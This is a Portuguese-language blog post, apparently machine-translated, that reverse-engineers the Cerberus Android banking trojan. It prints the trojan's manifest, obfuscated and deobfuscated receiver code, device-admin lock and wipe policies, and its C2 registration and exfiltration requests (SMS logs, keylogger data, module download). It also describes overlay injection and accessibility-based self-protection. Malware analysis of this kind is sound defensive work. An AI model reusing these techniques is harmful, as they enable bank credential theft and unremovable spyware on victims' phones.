
No nariz 2020 e hoje já temos a versão Android 9.0 Pie, onde o Google bate no peito e diz que seu produto está protegido. Mas os vilões não dormem e criam seu próprio malware para o Android.
Aleatoriamente, deparei-me com um arquivo apk ofuscado, que é um malware bancário chamado “Cerberus”, que apareceu em 2019.
O arquivo APK desse botnet veio até mim com um endereço de conexão do servidor inválido, portanto parte da lógica do trabalho e da funcionalidade permaneceu inexplorada, pois esse botnet usa um sistema "modular" e carrega a funcionalidade diretamente do servidor.
Pacote apk de análise
Depois de analisar o pacote apk, compilei a estrutura do programa Trojan:
- Receptor, execução automática + alarme;
- Serviço, executado em um ciclo com um intervalo de 8 segundos, é responsável por exibir uma mensagem pop-up para ativar o Serviço de Acessibilidade, ativar a função de bloqueio de tela e desativar os direitos de administrador;
- Serviço, coletando dados dos sensores do dispositivo, para que o malware recebesse a atividade física do dispositivo;
- Serviço, em um ciclo bloqueia a tela do dispositivo;
- Serviço, é responsável pela troca de dados com o servidor;
- Atividade, carrega o código html no WebView e mostra o conteúdo, serve para substituir a atividade do aplicativo do banco;
- Atividade, solicita permissões perigosas.
- Class, armazena em si as principais linhas (String) do projeto
Vamos começar com o manifesto
O manifesto do aplicativo é bastante interessante, e você já pode determinar a partir dele que esse não é um aplicativo simples, mas um malware comum.
Por exemplo, considere as permissões para um aplicativo:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/>
Aqui você pode ver que o aplicativo obtém acesso a SMS, contatos, chamadas, Internet, o aplicativo está no modo de suspensão.
Vamos além e vemos privilégios que permitem que o aplicativo se torne o principal para receber / enviar SMS; esses são os vilões usados para ocultar mensagens SMS nos telefones das vítimas.
<activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service>
E, claro, o Receiver, serve para iniciar automaticamente os serviços e interceptar o SMS.
<receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
Direitos de administrador, isso já é muito mais interessante. O aplicativo precisa deles para bloquear a remoção do aplicativo (com os direitos de administrador ativados, o aplicativo simplesmente não terá um botão "excluir"), e esses direitos permitirão excluir tudo do dispositivo e bloquear o dispositivo.
<activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver>
Bem, o mais interessante é o serviço de acessibilidade. É usado para que o malware possa clicar na própria tela e conceder a si próprio as permissões necessárias, incluindo direitos de administrador. Por meio dessa permissão, os invasores monitoram todas as ações do usuário no dispositivo.
<service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service>
Bem, o restante dos serviços e atividades que são de pouco interesse sem um endereço de servidor válido da Malvari.
<activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/>
Em geral, o malware não usa nada de sobrenatural, ele não usa nenhum dia no Android. Os invasores precisam obter uma permissão da vítima, e não mais, o malware fará tudo sozinho.
O Google precisaria limitar alguns dos recursos da API para aplicativos não reproduzidos.
Receptor
O código desta classe é ofuscado, mas isso não impede que seja estudado.
Código Ofuscado public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } }
E agora uma pequena explicação sobre o código.
As configurações de Malvari são armazenadas em um arquivo XML, o arquivo está localizado no diretório
/data/data/package_name/shared_prefs/Settings.xml- public String ReadXML - método para ler configurações
- public String SaveXML - método para salvar configurações
- public boolean DozeMode - Verifica se o Modo Doze está ativado
- classe pública Service_fa estende Service - Serviço para montar a atividade física do dispositivo (etapas, agitação do telefone etc.)
- classe pública Service_server estende Service - Serviço para conectar-se ao servidor
- classe pública Service_event_loop extends Service - Um serviço que é executado em um loop infinito para executar algumas funções do malvari
- public void startOffDozeMode - solicitação para desativar o modo Doze
- public void startAlarm - Inicia o receptor a cada 10 segundos
- public void interceptionSMS - Método para trabalhar com interceptação de SMS
- public boolean isAccessibilityService - método para verificar se o Serviço de Acessibilidade está ativado ou não
- public boolean cis - um método que bloqueia a operação de malvari em países pertencentes à CEI, a saber: ua, ru, por, tj, uz, tm, az, am, kz, kg e md (nomes abreviados de países)
Tentei trazer o código ofuscado acima para uma forma mais legível e normal:
Código legível public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent);
Então, acho que o código se tornou mais compreensível para muitos leitores.
O receptor possui três gatilhos para acionar, ou seja, quando o dispositivo é reiniciado, o SMS recebido ou o Alarmon é iniciado.
O receptor também lança três serviços:
- Coleção de atividade física do dispositivo (Service_fa)
- Serviço para conectar-se ao servidor (Service_server)
- Um serviço que é executado em um ciclo sem fim para executar algumas funções do malvari (Service_event_loop)
Primeiro, Service_fa é iniciado e somente depois que o dispositivo está ativo (se o proprietário do telefone estiver andando e o telefone estiver tremendo), o Service_server e o Service_event_loop serão iniciados. Eles são o principal processo dos malvari, assim os malvari podem eliminar dispositivos reais de emuladores e dispositivos de receptores, av e outros.
O receptor também inicia uma solicitação de desconexão do modo de interrupção e uma solicitação de confirmação do administrador.
Como o malware tem privilégios de administrador, ele não pode ser removido do dispositivo até que os direitos sejam removidos.
Direitos de administrador
Vejamos as possibilidades que temos graças ao dispositivo administrativo.
<?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin>
o elemento force-lock é responsável por bloquear o bloqueio de tela do dispositivo e limpar os dados por excluir DATA, CACHE e toda a memória do dispositivo (sua redefinição completa).
Service_fa
Com isso, acabaremos olhando para o Receiver e considerar outros serviços. Um serviço que obtém dados de sensores de sensores usando a classe SensorManager, esse serviço simplesmente recebe dados de atividades e os salva em um arquivo XML.
Graças a isso, os vilões poderão obter um histórico de atividade e analisá-lo para eliminar emuladores e usuários preguiçosos.
Service_server
Esse fluxo foi criado para comunicação com o servidor, os dados são transmitidos ao servidor em forma criptografada usando o algoritmo de criptografia RC4 que codifica tudo na base64 depois dele.
Quando o serviço é iniciado, a primeira solicitação para o servidor fica assim:
{ "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" }
Preenchi os dados enviados ao servidor aleatoriamente, pelo nome dos parâmetros acho que está claro qual é o responsável pelo quê, não vamos parar na análise deles.
Agora, examinamos quais respostas do servidor podem ser, o malware verifica se retorna uma resposta vazia; nesse caso, ele começa a classificar a matriz de domínios do servidor em um loop e envia essa solicitação a cada domínio, e se a resposta contém a linha == "~ I ~", O malware pára neste domínio e começa a trabalhar com ele.
Decidimos com qual domínio estamos trabalhando, agora estamos analisando o restante das respostas.
Se Response == "|| youNeedMoreResources ||" for retornado imediatamente é feito um pedido ao servidor para obter um módulo adicional do malvari:
gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}Vá em frente, Resposta == "|| não ||"
envia a solicitação gate_url? action = registration & data = JSON para o servidor:
{ "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" }
Essa solicitação serve para registrar um novo usuário no painel do administrador; este é o fim da solicitação do servidor.
Mas abaixo há uma condição que verifica a presença do arquivo "system.apk".
Código ofuscado:
if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}
Código simplificado:
if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}
se o arquivo estiver presente, JSON será gerado no formato:
{ "params":"updateSettingsAndCommands", "response":"data" }
A resposta do servidor é passada para o parâmetro de resposta, em seguida, json é passado para o método localizado no módulo system.apk e é executado usando a classe DexClassLoader.
Service_event_loop
Este serviço funciona em loop e aguarda um comando para bloquear o dispositivo. O dispositivo está bloqueado no loop usando direitos de administrador.
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow();
Este serviço pode desativar os direitos de administrador, aparentemente o autor dos malvari decidiu fazer isso para a "autodestruição" dos malvari, para não deixar rastros no telefone das vítimas.
ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName);
Além disso, o ciclo possui 2 velocidades de operação, 1 segundo e 8 segundos, se o Serviço de Acessibilidade estiver desativado, ele funcionará no primeiro segundo e solicitará a habilitação desse serviço, simplesmente abrindo a Atividade e forçando a habilitar recursos especiais, na prática, consideraremos isso em detalhes.
No final do ciclo, há também uma implementação como no Service_server, mas enviando comandos especificamente para um método que está dentro do módulo carregado "system.apk", mas os parâmetros não são muito diferentes, consulte JSON:
{ "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" }
tick - segundos que o ciclo de serviço conta, acessibilidade - verifica se o Serviço de Acessibilidade está ativado.
Classe String (s)
Todas as linhas dentro da classe são criptografadas com o algoritmo RC4 e, em seguida, codificadas em base64.
Um exemplo:
sequência criptografada: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
onde os 12 primeiros caracteres de straka são a chave de descriptografia do algoritmo RC4
Chaves: yyshybiwijuj
Texto cifrado: YzdkZDdkMjRlYjJmYjU5Y2Qw
Aqui está parte do código de classe String (s)
public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");
Eu escrevi um script para converter essas linhas em sua forma normal, isso me ajudou a passar um pouco de tempo.
public final String str_statMails = "statMails"; public final String str_activeDevice = "activeDevice"; public final String str_timeWorking = "timeWorking"; public final String str_statDownloadModule = "statDownloadModule"; public final String str_lockDevice = "lockDevice"; public final String str_offSound = "offSound"; public final String str_keylogger = "keylogger"; public final String str_activeInjection = "activeInjection"; public final String str_timeInject = "timeInject";
Também vemos o que é armazenado nesta classe:
public final String str_url = "https://twitter.com/LukasStefanko"; public final String str_Accessibility = "Flash Player Service"; public final String str_gate1 = "action=registration&data="; public final String str_gate2 = "action=sendInjectLogs&data="; public final String str_gate3 = "action=sendSmsLogs&data="; public final String str_gate4 = "action=timeInject&data="; public final String str_gate5 = "action=sendKeylogger&data="; public final String str_gate6 = "action=getModule&data="; public final String str_gate7 = "action=checkap&data="; public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";
A conta do Twitter de Lukas Stefanko (@LukasStefanko) está listada no URL do servidor, aparentemente o autor queria brincar ou dizer algo para Lucas (este é um analista do NOD32), o nome Accessibility Service + também é armazenado aqui no manifest manifest android: label = “Flash Player Serviço ”e uma lista de países para os quais o malware não funciona.
O resto
Descreva brevemente o trabalho das injeções. Ele é implementado de forma simples, se o Serviço de Acessibilidade estiver ativado, esse serviço simplesmente captura o evento de iniciar um aplicativo bancário e inicia sua atividade em cima da atividade do banco, onde há um objeto WebView que baixa o falso html do banco, após o qual recebe dados usando JavaScript e envia dados para o banco. Servidor Malvari.
Também neste serviço é implementado o Keylogger, bloqueando a remoção de malware e clicando automaticamente nas confirmações. Uma interação de desconexão de segurança foi detectada no aplicativo com.miui.securitycenter. Este aplicativo é chamado "Segurança", usado em dispositivos Xiaomi, suas principais tarefas são monitorar a segurança de seus dados sensíveis. Também foi encontrado um código para desativar automaticamente o "Google Play Protect" usando o método de clique automático.
Vamos seguir praticando
Eu consegui encontrar o twitter dos vilões e obter uma captura de tela do painel de administração

Instale o pacote apk em um emulador com API 27.
Um ícone do flash player chamado “Flash Player” apareceu na área de trabalho
Estamos aguardando o ícone e lançamos o malware.
Depois de iniciar o Malvari, o Activity inicia automaticamente com o requisito de habilitar o Serviço de Acessibilidade. Se você minimizá-lo, ele aparecerá novamente e isso acontece em um ciclo até eu ligar o serviço.
Depois de ativar a caixa de seleção Serviço de acessibilidade, alternei automaticamente das configurações para a área de trabalho e não consegui mais acessar as configurações do serviço de acessibilidade. O ícone da área de trabalho também desapareceu. Após alguns segundos, a solicitação de desligamento do modo Doze apareceu, sendo desativada automaticamente devido aos recursos especiais de clique automático .
A seguir, da mesma maneira, foi a confirmação automática dos direitos de administrador. Não foi possível excluir o malware manualmente porque, ao abrir as configurações desse aplicativo, ele voltava automaticamente (GLOBAL_ACTION_BACK).
Na verdade, isso é tudo na primeira parte, em breve escreverei a segunda parte com um adicional e, possivelmente, com o módulo principal deste bot, pois não consegui encontrar o arquivo apk do malware com um link válido para o servidor.
Malvari reverse foi implementado em conjunto com
keklick1337